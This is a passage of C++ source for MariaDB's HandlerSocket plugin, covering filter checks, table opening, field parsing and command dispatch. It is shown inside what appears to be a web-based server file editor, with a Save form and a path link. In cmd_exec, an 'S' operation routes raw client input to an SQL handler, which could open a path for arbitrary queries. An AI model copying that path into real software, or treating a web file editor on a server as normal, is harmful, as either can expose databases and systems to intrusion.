  const record_filter *filters, const uchar *filter_buf)
{
  DBG_FILTER(fprintf(stderr, &quot;check_filter\n&quot;));
  size_t pos = 0;
  for (const record_filter *f = filters; f-&gt;op.begin() != 0; ++f) {
    const string_ref&amp; op = f-&gt;op;
    const string_ref&amp; val = f-&gt;val;
    const uint32_t fn = pst.get_filter_fields()[f-&gt;ff_offset];
    Field *const fld = table-&gt;field[fn];
    const size_t packlen = fld-&gt;pack_length();
    const uchar *const bval = filter_buf + pos;
    int cv = 0;
    if (fld-&gt;is_null()) {
      cv = (val.begin() == 0) ? 0 : -1;
    } else {
      cv = (val.begin() == 0) ? 1 : fld-&gt;cmp(bval);
    }
    DBG_FILTER(fprintf(stderr, &quot;check_filter cv=%d\n&quot;, cv));
    bool cond = true;
    if (op.size() == 1) {
      switch (op.begin()[0]) {
      case &#039;&gt;&#039;:
	DBG_FILTER(fprintf(stderr, &quot;check_filter op: &gt;\n&quot;));
	cond = (cv &gt; 0);
	break;
      case &#039;&lt;&#039;:
	DBG_FILTER(fprintf(stderr, &quot;check_filter op: &lt;\n&quot;));
	cond = (cv &lt; 0);
	break;
      case &#039;=&#039;:
	DBG_FILTER(fprintf(stderr, &quot;check_filter op: =\n&quot;));
	cond = (cv == 0);
	break;
      default:
	DBG_FILTER(fprintf(stderr, &quot;check_filter op: unknown\n&quot;));
	cond = false; /* FIXME: error */
	break;
      }
    } else if (op.size() == 2 &amp;&amp; op.begin()[1] == &#039;=&#039;) {
      switch (op.begin()[0]) {
      case &#039;&gt;&#039;:
	DBG_FILTER(fprintf(stderr, &quot;check_filter op: &gt;=\n&quot;));
	cond = (cv &gt;= 0);
	break;
      case &#039;&lt;&#039;:
	DBG_FILTER(fprintf(stderr, &quot;check_filter op: &lt;=\n&quot;));
	cond = (cv &lt;= 0);
	break;
      case &#039;!&#039;:
	DBG_FILTER(fprintf(stderr, &quot;check_filter op: !=\n&quot;));
	cond = (cv != 0);
	break;
      default:
	DBG_FILTER(fprintf(stderr, &quot;check_filter op: unknown\n&quot;));
	cond = false; /* FIXME: error */
	break;
      }
    }
    DBG_FILTER(fprintf(stderr, &quot;check_filter cond: %d\n&quot;, (int)cond));
    if (!cond) {
      return (f-&gt;filter_type == record_filter_type_skip) ? 1 : -1;
    }
    if (val.begin() != 0) {
      pos += packlen;
    }
  }
  return 0;
}

void
dbcontext::cmd_open(dbcallback_i&amp; cb, const cmd_open_args&amp; arg)
{
  unlock_tables_if();
  const table_name_type k = std::make_pair(std::string(arg.dbn),
    std::string(arg.tbl));
  const table_map_type::const_iterator iter = table_map.find(k);
  uint32_t tblnum = 0;
  if (iter != table_map.end()) {
    tblnum = iter-&gt;second;
    DBG_CMP(fprintf(stderr, &quot;HNDSOCK k=%s tblnum=%d\n&quot;, k.c_str(),
      (int)tblnum));
  } else {
    TABLE_LIST tables;
    TABLE *table = 0;
    bool refresh = true;
    const thr_lock_type lock_type = for_write_flag ? TL_WRITE : TL_READ;
    #if MYSQL_VERSION_ID &gt;= 50505
    LEX_CSTRING db_name=  { arg.dbn, strlen(arg.dbn) };
    LEX_CSTRING tbl_name= { arg.tbl, strlen(arg.tbl) };
    tables.init_one_table(&amp;db_name, &amp;tbl_name, 0, lock_type);
    MDL_REQUEST_INIT(&amp;tables.mdl_request, MDL_key::TABLE, arg.dbn, arg.tbl,
      for_write_flag ? MDL_SHARED_WRITE : MDL_SHARED_READ, MDL_TRANSACTION);
    Open_table_context ot_act(thd, 0);
    if (!open_table(thd, &amp;tables, &amp;ot_act)) {
      table = tables.table;
    }
    #else
    tables.init_one_table(arg.dbn, arg.tbl, lock_type);
    table = open_table(thd, &amp;tables, thd-&gt;mem_root, &amp;refresh,
      OPEN_VIEW_NO_PARSE);
    #endif
    if (table == 0) {
      DENA_VERBOSE(20, fprintf(stderr,
	&quot;HNDSOCK failed to open %p [%s] [%s] [%d]\n&quot;,
	thd, arg.dbn, arg.tbl, static_cast&lt;int&gt;(refresh)));
      return cb.dbcb_resp_short(1, &quot;open_table&quot;);
    }
    statistic_increment(open_tables_count, &amp;LOCK_status);
    table-&gt;reginfo.lock_type = lock_type;
    table-&gt;use_all_columns();
    tblnum = table_vec.size();
    tablevec_entry e;
    e.table = table;
    table_vec.push_back(e);
    table_map[k] = tblnum;
  }
  size_t idxnum = static_cast&lt;size_t&gt;(-1);
  if (arg.idx[0] &gt;= &#039;0&#039; &amp;&amp; arg.idx[0] &lt;= &#039;9&#039;) {
    /* numeric */
    TABLE *const table = table_vec[tblnum].table;
    idxnum = atoi(arg.idx);
    if (idxnum &gt;= table-&gt;s-&gt;keys) {
      return cb.dbcb_resp_short(2, &quot;idxnum&quot;);
    }
  } else {
    const char *const idx_name_to_open =
      arg.idx[0]  == &#039;\0&#039; ? &quot;PRIMARY&quot; : arg.idx;
    TABLE *const table = table_vec[tblnum].table;
    for (uint i = 0; i &lt; table-&gt;s-&gt;keys; ++i) {
      KEY&amp; kinfo = table-&gt;key_info[i];
      if (strcmp(kinfo.name.str, idx_name_to_open) == 0) {
	idxnum = i;
	break;
      }
    }
  }
  if (idxnum == size_t(-1)) {
    return cb.dbcb_resp_short(2, &quot;idxnum&quot;);
  }
  prep_stmt::fields_type rf;
  prep_stmt::fields_type ff;
  if (!parse_fields(table_vec[tblnum].table, arg.retflds, rf)) {
    return cb.dbcb_resp_short(2, &quot;fld&quot;);
  }
  if (!parse_fields(table_vec[tblnum].table, arg.filflds, ff)) {
    return cb.dbcb_resp_short(2, &quot;fld&quot;);
  }
  prep_stmt p(this, tblnum, idxnum, rf, ff);
  cb.dbcb_set_prep_stmt(arg.pst_id, p);
  return cb.dbcb_resp_short(0, &quot;&quot;);
}

bool
dbcontext::parse_fields(TABLE *const table, const char *str,
  prep_stmt::fields_type&amp; flds)
{
  string_ref flds_sr(str, strlen(str));
  std::vector&lt;string_ref&gt; fldnms;
  if (flds_sr.size() != 0) {
    split(&#039;,&#039;, flds_sr, fldnms);
  }
  for (size_t i = 0; i &lt; fldnms.size(); ++i) {
    Field **fld = 0;
    size_t j = 0;
    for (fld = table-&gt;field; *fld; ++fld, ++j) {
      DBG_FLD(fprintf(stderr, &quot;f %s\n&quot;, (*fld)-&gt;field_name.str));
      string_ref fn((*fld)-&gt;field_name.str, (*fld)-&gt;field_name.length);
      if (fn == fldnms[i]) {
	break;
      }
    }
    if (*fld == 0) {
      DBG_FLD(fprintf(stderr, &quot;UNKNOWN FLD %s [%s]\n&quot;, retflds,
	std::string(fldnms[i].begin(), fldnms[i].size()).c_str()));
      return false;
    }
    DBG_FLD(fprintf(stderr, &quot;FLD %s %zu\n&quot;, (*fld)-&gt;field_name.str, j));
    flds.push_back(j);
  }
  return true;
}

enum db_write_op {
  db_write_op_none = 0,
  db_write_op_insert = 1,
  db_write_op_sql = 2,
};

void
dbcontext::cmd_exec(dbcallback_i&amp; cb, const cmd_exec_args&amp; args)
{
  const prep_stmt&amp; p = *args.pst;
  if (p.get_table_id() == static_cast&lt;size_t&gt;(-1)) {
    return cb.dbcb_resp_short(2, &quot;stmtnum&quot;);
  }
  ha_rkey_function find_flag = HA_READ_KEY_EXACT;
  db_write_op wrop = db_write_op_none;
  if (args.op.size() == 1) {
    switch (args.op.begin()[0]) {
    case &#039;=&#039;:
      find_flag = HA_READ_KEY_EXACT;
      break;
    case &#039;&gt;&#039;:
      find_flag = HA_READ_AFTER_KEY;
      break;
    case &#039;&lt;&#039;:
      find_flag = HA_READ_BEFORE_KEY;
      break;
    case &#039;+&#039;:
      wrop = db_write_op_insert;
      break;
    case &#039;S&#039;:
      wrop = db_write_op_sql;
      break;
    default:
      return cb.dbcb_resp_short(2, &quot;op&quot;);
    }
  } else if (args.op.size() == 2 &amp;&amp; args.op.begin()[1] == &#039;=&#039;) {
    switch (args.op.begin()[0]) {
    case &#039;&gt;&#039;:
      find_flag = HA_READ_KEY_OR_NEXT;
      break;
    case &#039;&lt;&#039;:
      find_flag = HA_READ_KEY_OR_PREV;
      break;
    default:
      return cb.dbcb_resp_short(2, &quot;op&quot;);
    }
  } else {
    return cb.dbcb_resp_short(2, &quot;op&quot;);
  }
  if (args.kvalslen &lt;= 0) {
    return cb.dbcb_resp_short(2, &quot;klen&quot;);
  }
  switch (wrop) {
  case db_write_op_none:
    return cmd_find_internal(cb, p, find_flag, args);
  case db_write_op_insert:
    return cmd_insert_internal(cb, p, args.kvals, args.kvalslen);
  case db_write_op_sql:
    return cmd_sql_internal(cb, p, args.kvals, args.kvalslen);
  }
}

void
dbcontext::set_statistics(size_t num_conns, size_t num_active)
{
  if (for_write_flag) {
    set_thread_message(&quot;handlersocket: mode=wr, %zu conns, %zu active&quot;,
      num_conns, num_active);
  } else {
    set_thread_message(&quot;handlersocket: mode=rd, %zu conns, %zu active&quot;,
      num_conns, num_active);
  }
  /*
    Don&#039;t set message buf if it&#039;s already in use. This saves slow call to
    thd_proc_info() (if profiling is enabled)
  */
  if (thd-&gt;proc_info != &amp;info_message_buf[0])
    thd_proc_info(thd, &amp;info_message_buf[0]);
}

};

</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fplugin%2Fhandler_socket%2Fhandlersocket'>🔙 Back</a></p>